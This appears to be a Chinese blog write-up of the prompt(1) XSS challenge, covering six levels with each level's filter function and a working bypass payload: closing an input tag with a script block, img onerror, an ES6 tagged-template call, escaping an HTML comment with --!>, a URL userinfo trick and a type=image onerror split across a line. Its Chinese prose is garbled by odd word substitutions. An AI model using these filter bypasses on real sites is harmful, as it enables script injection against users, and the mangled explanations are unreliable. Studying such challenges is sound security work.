前段时间在网上看到一个网址,好奇之下进去看了看。胜利的条件是你录入一个串,让其挪用prompt(1) 。发明内里有许多几何想不到的对象,本日终于悠闲了来这里说说XSS。
XSS 道理
跨站剧本进攻(Cross Site Scripting),为反面层叠样式表(Cascading Style Sheets, CSS)的缩写夹杂,故将跨站剧本进攻缩写为XSS。恶意进攻者往Web页面里插入恶意Script代码,当用户欣赏该页之时,嵌入个中Web内里的Script代码会被执行,从而到达恶意进攻用户的目标。
XSS 常见场景
一些私人的博客,进攻者恶意评论,弹出alert,这种充其量也就是一个玩笑。可是假如是偷窃cookie,异常提交请求,这些就较量难熬了。
prompt(1)
chrome 版本 62.0.3202.75(正式版本) (64 位)
function escape(input) { // warm up // script should be executed without user interaction return '<input type="text" value="' + input + '">'; }
第一个
这是一个开胃菜,没有做任何校验,这种不设防的在此刻已经很少了。他把值直接拼入字符串,构成一个DOM input标签,那我们只要正确的把标签闭合掉就可以挪用了。
"><script>prompt(1)</script> ,拼出来的字符串为<input type="text" value=""><script>prompt(1)</script>"> ,这样就便是插入了我们的代码。
function escape(input) { // tags stripping mechanism from ExtJS library // Ext.util.Format.stripTags var stripTagsRE = /<\/?[^>]+>/gi; input = input.replace(stripTagsRE, ''); return '<article>' + input + '</article>'; }
第二个
这个已经晋升难度了,/<\/?[^>]+>/gi匹配<>标签内的所有对象,如输入<script>prompt(1)</script>转换事后会呈现prompt(1),内容内里的标签被替换掉了。所以这个我们去实验不闭合标签,让欣赏器本身去容错。
<img src onerror="prompt(1);" 该要领通过img加载src失败会挪用onerror的想法。
function escape(input) { // v-- frowny face input = input.replace(/[=(]/g, ''); // ok seriously, disallows equal signs and open parenthesis return input; }
第三个
这个就有点略坑了/[=(]/g把所以的=号和(号都替换掉了,这样我们实验挪用的时候就不能利用这些对象了。利用的要领是通过模板字符串的标签模板,这个ES6的特性。 <script>prompt`1`</script>看样子我们这样写就可以了,可是为什么没有生效呢?下面的图可以看出来,这样的话传入的是字符串,判定是不通过的,所以我们要修改一下<script>prompt.call${1}</script> ,这样就可以跑过验证了。(话说markdown如安在``内里写``)
function escape(input) { // filter potential comment end delimiters input = input.replace(/->/g, '_'); // comment the input to avoid script execution return '<!-- ' + input + ' -->'; }
第四个
这个看上去是把你写的内容都放在了html的注释语句内里,而且用/->/g替换了一把。我想到的方案有条件注释,可是条件注释这是IE的对象,我们就先不测试了。
--!><img src onerror="prompt(1);" 利用这个可以封锁
function escape(input) { // make sure the script belongs to own site // sample script: if (/^(?:https?:)?\/\/prompt\.ml\//i .test(decodeURIComponent(input))) { var script = document.createElement('script'); script.src = input; return script.outerHTML; } else { return 'Invalid resource.'; } }
第五个
这个是通过伪造url,我们利用的是会见带有用户名、暗码掩护的 URL来伪造。
%2f@urlurl为一个网络地点引用的js,内容为prompt(1)。原来想实验一下data:text/html,<html><script>prompt(1)</script></html>可是没有乐成,然后javascript:;和about:blank也没有通过,挺失落。
function escape(input) { // apply strict filter rules of level 0 // filter ">" and event handlers input = input.replace(/>|on.+?=|focus/gi, '_'); return '<input value="' + input + '" type="text">'; }
第六个
/>|on.+?=|focus/gi替换了>、onxxxx=和focus。通过input非凡的type范例。
`"type=image src onerror
="prompt(1)`
通过xss能做的工作